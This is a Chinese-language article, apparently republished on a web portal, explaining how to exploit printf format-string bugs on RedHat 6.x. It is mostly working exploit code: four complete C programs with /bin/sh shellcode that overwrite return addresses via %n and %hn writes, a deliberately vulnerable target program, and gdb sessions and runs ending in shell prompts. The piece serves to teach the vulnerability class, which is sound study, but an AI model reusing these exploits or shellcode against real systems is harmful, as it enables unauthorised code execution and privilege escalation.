分享
 
 
 

*printf()格式化串安全漏洞分析(下)

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

*printf()格式化串安全漏洞分析(下)

测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)

(继续)

那么让我们来写一个简单的测试程序来看一下:

<- begin -> exp.c

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐"

#define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

char *env[2];

long shell_addr,retloc=DEFAULT_RETLOC;

int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;

int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;

int fmt_num=4, i;

if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) align = atoi(argv[3]);

if (argc > 4) bsize = atoi(argv[4]);

if (argc > 5) eggsize = atoi(argv[5]);

printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

printf("Using Ret location address: 0x%x\n", retloc);

shell_addr = get_esp() + offset; //计算我们shellcode所处的地址

printf("Using Shellcode address: 0x%x\n", shell_addr);

ptr = buff;

memset(buff,'A',4);

i = align;

buff[i] = retloc & 0x000000ff; // 将retloc放到buff里

buff[i+1] = (retloc & 0x0000ff00) >> 8;

buff[i+2] = (retloc & 0x00ff0000) >> 16;

buff[i+3] = (retloc & 0xff000000) >> 24;

ptr = buff + i + 4;

for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u

{

memcpy(ptr, "%.10u", 5);

ptr += 5;

}

/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,

* 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4

* 将这个长度作为第5个%u的宽度值

*/

sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);

env[0] = egg ;

env[1] = (char *)0 ;

execle("./vul","vul",buff,NULL,env);

} /* end of main */

<- end ->

注意:在我们的程序里,我们实际使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会

显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显

示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也

就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是

RETloc,也就是main()的返回地址了。这也很简单:

[root@rh62 /root]# ./x 0x41414141

Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>

Using Ret location address: 0x41414141

Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)

[root@rh62 /root]# gdb ./vul core

GNU gdb 19991004

<....>

#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,

format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",

ap=0xbffff2e8) at vfprintf.c:1212

1212 vfprintf.c: No such file or directory.

(gdb) bt

#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,

format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",

ap=0xbffff2e8) at vfprintf.c:1212

#1 0x40070716 in _IO_vsnprintf (

string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133",

maxlen=1023,

format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",

args=0xbffff2d0) at vsnprintf.c:129

#2 0x80484de in log (level=1,

fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")

at vul.c:13

#3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33

(gdb) i f 3 -----> 查看main()的栈帧

Stack frame at 0xbffff6d8:

eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb

caller of frame at 0xbffff2c0

source language c.

Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724

Locals at 0xbffff6d8, Previous frame's sp is 0x0

Saved registers:

ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc

(gdb)

好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:

[root@rh62 /root]# ./x 0xbffff6dc

Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>

Using Ret location address: 0xbffff6dc

Using Shellcode address: 0xbffffb08

argv[1] = AA荟??.10u%.10u%.10u%.10u%.3221224144u%n

Segmentation fault (core dumped)

[root@rh62 /root]# gdb ./vul core

<....>

#0 0x42 in ?? ()

(gdb) bt

#0 0x42 in ?? ()

(gdb) x/x 0xbffff6dc

0xbffff6dc: 0x00000042

(gdb)

很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,

根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者

可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:

<- begin -> vul1.c

#include <stdarg.h>

#include <unistd.h>

#include <syslog.h>

#define BUFSIZE 1024

char egg[BUFSIZE];

int log(int level, char *fmt,...)

{

char buf[BUFSIZE];

va_list ap;

va_start(ap, fmt);

vsnprintf(buf, sizeof(buf)-1, fmt, ap);

buf[BUFSIZE-1] = '\0';

syslog(level, "[hmm]: %s", buf);

va_end(ap);

}

int main(int argc, char **argv)

{

char buf[BUFSIZE];

int i,num;

if(getenv("EGG")) {

/* 我们将环境EGG的内容复制到一个全局buffer里,

* 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示

*/

strncpy(egg, getenv("EGG"), BUFSIZE-1);

egg[BUFSIZE-1] = '\0';

}

num = argc ;

if(argc > 1) {

for ( i = 1 ; i < num ; i ++ ) {

snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);

buf[BUFSIZE-1] = '\0';

log(LOG_ALERT, buf); // 这里有问题

printf("argv[%d] = %s \n", i, argv[i]);

}

}

}

<- end ->

<- begin -> exp1.c

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_ALIGNMENT 2

#define DEFAULT_RETLOC 0xbffffadc

#define DEFAULT_SHELLADDR 0x8049800 //我们的shellcode地址在Heap/BSS段

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 1024

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

char *env[2];

long retloc = DEFAULT_RETLOC;

long shell_addr = DEFAULT_SHELLADDR;

int align = DEFAULT_ALIGNMENT;

int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;

int i;

if (argc > 1) sscanf(argv[1],"%x",&retloc);

if (argc > 2) sscanf(argv[2],"%x",&shell_addr);

if (argc > 3) align = atoi(argv[3]);

if (argc > 4) bsize = atoi(argv[4]);

if (argc > 5) eggsize = atoi(argv[5]);

printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

printf("Using RET location address: %#x\n", retloc);

printf("Using Shellcode address: %#x\n", shell_addr);

ptr = buff;

memset(buff,'A',4);

i = align;

buff[i] = retloc & 0x000000ff;

buff[i+1] = (retloc & 0x0000ff00) >> 8;

buff[i+2] = (retloc & 0x00ff0000) >> 16;

buff[i+3] = (retloc & 0xff000000) >> 24;

ptr = buff + i + 4;

for(i = 0 ; i < 4 ; i++ )

{

memcpy(ptr, "%.10u", 5);

ptr += 5;

}

sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);

env[0] = egg ;

env[1] = (char *)0 ;

execle("./vul1","vul1",buff,NULL,env);

} /* end of main */

<- end ->

这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:

0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的

返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪

得到,这里不再赘述。

[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800

Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>

Using RET location address: 0xbffffadc

Using Shellcode address: 0x8049800

argv[1] = AA茭??.10u%.10u%.10u%.10u%.134518728u%n

bash#

很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800

个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)

<2> 攻击方法二:多次覆盖返回地址(1)

====================================

上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因

前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动

一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行

攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的

因素就是显示的长度,那么如果我们不显示那么长的内容,vsnprintf()是可以正常工作的:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:

shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成

存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:

SH1 = 0xbf

SH2 = 0xff

SH3 = 0xfc

SH4 = 0xec

我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n

AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n

AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n

AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的

下图可以让你更清楚的看到每一次覆盖后的变化:

RETloc RETloc+1 RETloc+2 RETloc+3

|0x11 | 0x22 | 0x33 |0x44| 原来存放的地址: 0x44332211

|0xec | 0x00 | 0x00 |0x00| 第一次覆盖SH4: 0x000000ec

|0xec | 0xfc | 0x00 |0x00| 0x00| 第二次覆盖SH3: 0x0000fcec

|0xec | 0xfc | 0xff |0x00| 0x00| 0x00| 第三次覆盖SH2: 0x00fffcec

|0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec

需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,

例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参

数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。

另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们

的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数

,那么我们只要提供四个命令行参数就可以进行四次覆盖了。

<- begin -> exp2.c

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 500

#define DEFAULT_ALIGNMENT 2

#define DEFAULT_RETLOC 0xbffffa6c

#define DEFAULT_BUFFER_SIZE 128

#define DEFAULT_EGG_SIZE 1024

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

main(int argc, char *argv[]) {

char *buff[4], *ptr, *egg;

char *env[2];

long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;

int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;

int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;

int i,j;

if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) align = atoi(argv[3]);

if (argc > 4) bsize = atoi(argv[4]);

if (argc > 5) eggsize = atoi(argv[5]);

printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);

for(i = 0 ; i < 4 ; i++ ) {

if (!(buff[i] = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

printf("Using RET location address: 0x%x\n", retloc);

shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */

printf("Using Shellcode address: 0x%x\n", shell_addr);

for(j = 0; j < 4 ; j++) {

ptr = buff[j];

memset(ptr,'A',4);

ptr += align;

(*ptr++) = retloc & 0x000000ff; /* 填充retloc */

(*ptr++) = (retloc & 0x0000ff00) >> 8;

(*ptr++) = (retloc & 0x00ff0000) >> 16;

(*ptr++) = (retloc & 0xff000000) >> 24;

retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */

for(i = 0 ; i < 4 ; i++ )

{

memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */

ptr += 5;

}

tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */

if(tmpaddr > 56 ) /* 计算最后一个%nu中的n值 */

sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);

else

sprintf(ptr, "%%.%uu%%n", 1);

}

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);

env[0] = egg ;

env[1] = (char *)0 ;

execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);

} /* end of main */

<- end ->

[root@rh62 /root]# ./exp2

Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>

Using RET location address: 0xbffffa6c

Using Shellcode address: 0xbffffcec

argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n

argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n

argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n

argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n

bash#

注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果

0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)

,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们

的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址

的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些

NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行

我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。

这个程序在RedHat 6.1和RedHat 6.2下都验证通过。

<3> 攻击方法三:多次覆盖返回地址(2)

======================================

有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次

机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次

来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:

|AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n

^ ^ ^ ^ | | | |

| | | |_________________|______|______|______|

| | |__________________________|______|______|

| |___________________________________|______|

|____________________________________________|

我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,

使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我

们就成功了一半了。当然我们要让:

RET1 = RETloc

RET2 = RETloc + 1

RET3 = RETloc + 2

RET4 = RETloc + 3

n1 = SH4 - 1*4 - 12 - 4 - 8*3

(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后

面三组"AAAARET"的长度)

n2 = SH3 - SH4

n3 = SH2 - SH3

n4 = SH1 - SH2

这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依

此类推。

注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,

因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:

会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf

RETloc RETloc+1 RETloc+2 RETloc+3

|0xec | 0xfc | 0xff |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec

因此,我们让n4 = 0x0100 + SH1 - SH2

另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定

我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方

便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果

应用程序将空格作为分隔符来解释时,可能会出问题。

<- begin -> exp3.c

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET 550

#define DEFAULT_ALIGNMENT 2

#define DEFAULT_RETLOC 0xbffffabc

#define DEFAULT_BUFFER_SIZE 128

#define DEFAULT_EGG_SIZE 1024

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

char *env[2];

long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;

int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;

int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;

int i,SH1,SH2,SH3,SH4,oldSH4;

if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) align = atoi(argv[3]);

if (argc > 4) bsize = atoi(argv[4]);

if (argc > 5) eggsize = atoi(argv[5]);

printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

printf("Using RET location address: 0x%x\n", retloc);

shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */

printf("Using Shellcode address: 0x%x\n", shell_addr);

SH1 = (shell_addr >> 24) & 0xff;

SH2 = (shell_addr >> 16) & 0xff;

SH3 = (shell_addr >> 8) & 0xff;

SH4 = (shell_addr >> 0) & 0xff;

/* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */

if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {

oldSH4 = SH4;

SH4 = 4 + 12 + 4 + 8*3 + 1;

printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);

}

ptr = buff;

for (i = 0; i <4 ; i++, retloc++ ){

memset(ptr,'A',4);

ptr += 4 ;

(*ptr++) = retloc & 0xff; /* 填充retloc+n (n= 0,1,2,3) */

(*ptr++) = (retloc >> 8 ) & 0xff ;

(*ptr++) = (retloc >> 16 ) & 0xff ;

(*ptr++) = (retloc >> 24 ) & 0xff ;

}

for(i = 0 ; i < 4 ; i++ )

{

memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */

ptr += 2;

}

/* "输入"我们的shellcode地址 */

sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),

(SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);

env[0] = egg ;

env[1] = (char *)0 ;

execle("./vul","vul",buff + align, NULL,env);

} /* end of main */

<- end ->

验证一下:

[warning3@rh62 format]$ ./exp3

Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>

Using RET location address: 0xbffffabc

Using Shellcode address: 0xbffffcfa

argv[1] = AA贱?緼AAA晋?緼AAA菌?緼AAA窥??c%c%c%c%206c%n%2c%n%3c%n%192c%n

bash$ id

uid=500(warning3) gid=500(warning3) groups=500(warning3)

这个程序在redhat 6.1和redhat 6.2下均验证通过

<4> 攻击方法三:多次覆盖返回地址(利用%hn)

=========================================

在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:

main()

{

int a=0x41414141;

printf("a=%#x%hn\n",a,&a);

printf("a=%#x\n",a);

}

[warning3@redhat-6 wuftp]$ ./aa

a=0x41414141

a=0x4141000c

<....>用gdb看一下:

(gdb) b 5

Breakpoint 1 at 0x80483ea: file aa.c, line 5.

(gdb) r

Starting program: /home/warning3/wuftp/./aa

a=0x41414141

Breakpoint 1, main () at aa.c:5

5 printf("a=%#x\n",a);

(gdb) p &a

$1 = (int *) 0xbffffcb4

(gdb) x/4b 0xbffffcb4

0xbffffcb4: 0x0c 0x00 0x41 0x41

因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。

这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!

综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第

一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。

不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一

个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,

是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要

知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地

址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,所以不是

那么容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将

shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使

很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。

另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存

的uid,gid等等。

结?/h4>========

这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序

时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中

错疏之处难免,敬请批评指正。

参考文献

==========

[1] <<Format Bugs: What are they, Where did they come from,.........

How to exploit them>> , lamagra (lamagra@digibel.org)

[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)

[3] <<More info on format bugs>>, Pascal Bouchareine [ kalou <pb@grolier.fr> ]

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有